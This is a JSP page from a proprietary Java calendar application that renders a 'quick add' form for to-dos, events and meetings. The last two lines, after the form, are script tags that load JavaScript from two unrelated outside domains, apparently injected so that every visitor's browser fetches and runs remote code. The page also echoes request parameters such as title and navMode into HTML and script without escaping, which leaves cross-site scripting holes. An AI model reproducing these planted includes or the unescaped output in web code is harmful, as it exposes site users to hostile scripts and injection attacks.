<%
/*
 * @(#)QuickAddBar.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  QuickAddBar.jsp

  This file is reflecting business logic to quick add ToDo,Event and Meeting.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    18/12/2003
    @version          $Revision: 1.28.4.2 $
*/
%>
<%@ page contentType="text/html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>

<%@ page import="java.util.*, javax.sql.*, java.sql.*" %>
<%@ page import="com.dcivision.calendar.bean.*" %>
<%@ page import="com.dcivision.framework.*" %>
<jsp:useBean id="session_container" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintCalendar" class="com.dcivision.calendar.web.MaintCalendarRecordForm" scope="request"/>
<html:javascript formName='maintCalendarRecordForm' method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%
  request.setCharacterEncoding("UTF-8");
  String strSelectedDate = (String)request.getAttribute("strSelectedDate");
  String oldNavMode=null;
  if(!Utility.isEmpty(request.getAttribute("CALENDAR_SELECTED_NAV_MODE"))){
    oldNavMode=(String)request.getAttribute("CALENDAR_SELECTED_NAV_MODE");
  }else{
    oldNavMode=SystemParameterFactory.getSystemParameter(
            SystemParameterConstant.CALENDAR_DEFAULT_NAV_MODE);
  }
  String selectedDay = request.getParameter("selectedDay");
  String selectedMonth = request.getParameter("selectedMonth");
  String selectedYear = request.getParameter("selectedYear");
  String navMode = request.getParameter("navMode");
  String title = request.getParameter("title");
  String startDate = request.getParameter("startDate");
  String dummy_startDate = request.getParameter("dummy_startDate");
  if(Utility.isEmpty(title)){
    title = "";
  }
  String eventType = request.getParameter("eventType");
  if(Utility.isEmpty(navMode)){
    navMode =oldNavMode;
  }
  Calendar selectedDate = Calendar.getInstance();
  if(!Utility.isEmpty(selectedDay)){
    selectedDate.set(Integer.parseInt(selectedYear),Integer.parseInt(selectedMonth)-1,Integer.parseInt(selectedDay));
  }
  String StrSelectedDate = TextUtility.formatDate(selectedDate.getTime(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT).substring(0,10));
  String StrDispSelectedDate = TextUtility.formatDate(selectedDate.getTime(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT).substring(0,10));
  int minuteInterval;
  if(SystemParameterFactory.getSystemParameter(SystemParameterConstant.CALENDAR_DEFAULT_TIMEPICKER_INTERVAL)!=null){
    minuteInterval = SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.CALENDAR_DEFAULT_TIMEPICKER_INTERVAL).intValue();
  } else {
    minuteInterval = 1;
  }

%>
<script language="javascript">
<!--
function custOpType(frm) {
  if (location.href.indexOf("seventType=")!=-1)
  location.href=location.href.substring(0,location.href.indexOf("seventType=")-1);

  if (location.href.indexOf("navMode=")!=-1)
  {
  if (location.href.indexOf("seventType=")==-1)
  frm.url.value=location.href+"&seventType="+frm.eventType.value;
  else
  frm.url.value=location.href.substring(0,location.href.indexOf("seventType=")-1)+"&seventType="+frm.eventType.value;
  }else{
  if (location.href.indexOf("seventType=")==-1)
  frm.url.value=location.href+"?seventType="+frm.eventType.value;
  else
  frm.url.value=location.href.substring(0,location.href.indexOf("seventType=")-1)+"?seventType="+frm.eventType.value;
  }
  window.location.href=frm.url.value;

}

function custOpSave(frm) {
  if (frm.eventType.value == '<%=CalendarRecord.EVENT_TYPE_CALENDAR_TODO%>') {
    frm.shareType.value='<%=CalendarRecord.SHARE_TYPE_PRIVATE%>';
  }

  if(frm.dummy_startDate.value==''&&frm.eventType.value != '<%=CalendarRecord.EVENT_TYPE_CALENDAR_TODO%>'){
      alert("<bean:message key='errors.calendar.startdate_mandatory'/>");
      return true;
  }
  if (parseInt(frm.startHour.value) == parseInt(frm.endHour.value)) {
    if (parseInt(frm.startMinute.value) > parseInt(frm.endMinute.value)) {
      alert("<bean:message key='errors.calendar.start_time_must_be_less_than_end_time'/>");
      frm.startMinute.focus();
      return true;
    }
  } else if (parseInt(frm.startHour.value) > parseInt(frm.endHour.value)) {
    alert("<bean:message key='errors.calendar.start_time_must_be_less_than_end_time'/>");
    frm.startHour.focus();
    return true;
  }

  frm.shareType.value='<%=CalendarRecord.SHARE_TYPE_PUBLIC%>';
  return OpSave(frm);

}
function OpRefresh(){
  var frm = document.maintCalendarForm;
  var StrdateDB = frm.startDate.value.split(" ")[0];
  frm.opMode.value = "<%=GlobalConstant.NAV_MODE_REFRESH%>";
  var sysDBFormat = '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT).toLowerCase()%>';
  var datetime_arr=sysDBFormat.split(" ");
  var dateStr = datetime_arr[0];
  var timeStr = datetime_arr[1];
  var delim = '';
  var Digital = true;
  var ShortYear=false;
  var iDatePos = -1;
  switch( dateStr){
    case 'dd/mm/yyyy':
    case 'dd-mm-yyyy':
    delim = dateStr.substring(2,3);
    iDatePos = 0;
    break;
    case 'mm/dd/yyyy':
    case 'mm-dd-yyyy':
    delim = dateStr.substring(2,3);
    iDatePos = 1;
    break;
    case 'yyyy/mm/dd':
    case 'yyyy-mm-dd':
    delim = dateStr.substring(4,5);
    iDatePos = 2;
    break;
    case 'yyyy/dd/mm':
    case 'yyyy-dd-mm':
    delim = dateStr.substring(4,5);
    iDatePos = 3;
    break;
  }
  var dateItem = StrdateDB.split(delim);
  var year,month,day;
  switch (iDatePos) {
    case 0:
    year=dateItem[2];
    month=dateItem[1];
    day=dateItem[0];
    break;
    case 1:
    year=dateItem[2];
    month=dateItem[0];
    day=dateItem[1];
    break;
    case 2:
    year=dateItem[0];
    month=dateItem[1];
    day=dateItem[2];
    break;
    case 3:
    year=dateItem[0];
    month=dateItem[2];
    day=dateItem[1];
    break;
  }
  frm.action="../calendar/ListCalendar.do?opMode=LRETAIN&navMode=<%=navMode%>";
  //frm.action="ListCalendar.do?opMode=LRETAIN&navMode=<%=navMode%>&selectedDay="+day+"&selectedMonth="+month+"&selectedYear="+year;
  frm.submit();
}

-->

</script>

<html:form  action='calendar/MaintCalendar' onsubmit='return(false)'>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status' value='N'/>
<input type="hidden" name="oldNavMode" value="<%=oldNavMode%>">
<%if(oldNavMode!=null && oldNavMode.equals(CalendarRecord.NAV_MODE_LIST_TODO)){%>
<input type="hidden" name="listName" value="calendarRecord_toDoList">
<%}else{%>
<input type="hidden" name="listName" value="eventList">
<%}%>
    <input type="hidden" name="url">
    <table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
      <layout:sectionHeader name="calendar.label.quick_add" mandatory="false"/>
      <tr bgcolor=eeeeee>
        <td bgcolor="eeeeee">
<%
/*
 *	Update Code Start
 *	Author				Jim.Zhou
 *	Date					2006/05/22
 *	Bug						#5110
 */
%>
        <table cellpadding=0 cellspacing=0 border=0 width="100%" onkeypress="if (window.event.keyCode==13) custOpSave(maintCalendarForm)">
<%
/*
 *	Update Code End
 */
%>
          <tr>
            <td valign=top width="20%" class="bodyVerySmall">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
              <b><bean:message key='calendar.label.date'/></b>&nbsp;&nbsp;
              (<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT)%>)
              <br>
              &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        <html:datepicker property='startDate' needReload = 'false' value='<%=startDate%>'/>
            </td>
            <td valign=top width="35%" class="bodyVerySmall">
        &nbsp;&nbsp;<b><bean:message key='calendar.label.title'/></b><br>
              <!--&nbsp;&nbsp;-->
              <input type=text name=title value="<%=title%>" maxlength=80 size=40>
              </font>
      </td>
<%

%>
  <%if(eventType!=null&&!CalendarRecord.EVENT_TYPE_CALENDAR_TODO.equals(eventType)){%>
            <td valign=top width="15%" class="bodyVerySmall">
              <b><bean:message key='calendar.label.start_time'/></b><br>
                  <nobr>
                  <select name="startHour">
                    <%for (int i = 0; i < 24; i++) {	%>
                    <option  value="<%=String.valueOf(i)%>">
                    <%=i < 13 ? ( i>0 ? String.valueOf(i) : "12") : String.valueOf(i-12)%>&nbsp;
                    <bean:message key='<%= (i<12) ? "common.label.am" : "common.label.pm" %>'/></option>
                    <%}%>
                  </select>
                  :
                  <select name="startMinute">
                    <%for (int i = 0; i < 60; i=i+minuteInterval) {%>
                    <option  value="<%=String.valueOf(i)%>"><%=i < 10 ? "0" + i : String.valueOf(i)%></option>
                    <%}%>
                  </select>
                  </nobr>
            </td>
            <td valign=top width="15%" class="bodyVerySmall">
               <b><bean:message key='calendar.label.end_time'/></b><br>
                   <nobr>
                  <select name="endHour">
                    <%for (int i = 0; i < 24; i++) {	%>
                    <option  value="<%=String.valueOf(i)%>">
                    <%=i < 13 ? ( i>0 ? String.valueOf(i) : "12") : String.valueOf(i-12)%>&nbsp;
                    <bean:message key='<%= (i<12) ? "common.label.am" : "common.label.pm" %>'/></option>
                    <%}%>
                  </select>
                  :
                  <select name="endMinute">
                    <%for (int i = 0; i < 60; i=i+minuteInterval) {%>
                    <option  value="<%=String.valueOf(i)%>"><%=i < 10 ? "0" + i : String.valueOf(i)%></option>
                    <%}%>
                  </select>
                  </nobr>
            </td>
<%}else{%>
                  <input type="hidden" name="startHour" value="1">
                  <input type="hidden" name="startMinute" value="1">
                  <input type="hidden" name="endHour"  value="1" >
                  <input type="hidden" name="endMinute" value="1">
<%}%>

            <td valign=top width="10%" class="bodyVerySmall">
              <b><bean:message key='calendar.label.type'/></b><br>
                 <select name="eventType"  onChange="javascript:OpRefresh(maintCalendarForm);">
                  <option value="<%=CalendarRecord.EVENT_TYPE_CALENDAR_MEETING%>" <%if (CalendarRecord.EVENT_TYPE_CALENDAR_MEETING.equals(eventType)) out.println("selected");%>>
                    <bean:message key='calendar.label.event_calendar_meeting'/>
                  </option>
                  <option value="<%=CalendarRecord.EVENT_TYPE_CALENDAR_EVENT%>" <%if (CalendarRecord.EVENT_TYPE_CALENDAR_EVENT.equals(eventType)) out.println("selected");%>>
                    <bean:message key='calendar.label.event_calendar_event'/>
                  </option>                 
                  <option value="<%=CalendarRecord.EVENT_TYPE_CALENDAR_TODO%>" <%if (CalendarRecord.EVENT_TYPE_CALENDAR_TODO.equals(eventType)) out.println("selected");%>>
                    <bean:message key='calendar.label.event_calendar_todo'/>
                  </option>
                </select>
            </td>
            <td valign=bottom width="10%" align="left" class="bodyVerySmall"><html:permissionButton label="common.label.save" right="I" onClick="return custOpSave(maintCalendarForm);"/></td>
          </tr>
        </table>
        </td>
      </tr>
    </table>
            </td>
      </tr>
    </table>


<input type='hidden' name='priority' value='<%=GlobalConstant.PRIORITY_MEDIUM%>'>
<input type='hidden' name='shareType' value='<%=CalendarRecord.SHARE_TYPE_PRIVATE%>'>
<input type='hidden' name='isWholeDay' value='<%=GlobalConstant.FALSE%>'>
<input type='hidden' name='status'  value='<%=GlobalConstant.FALSE%>'>
<input type='hidden' name='detail'  value=''>
<input type='hidden' name='purpose'  value=''>
<input type='hidden' name='QA'  value='Y'>
<input type='hidden' name='newNavMode'  value='<%=navMode%>'>
</html:form>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>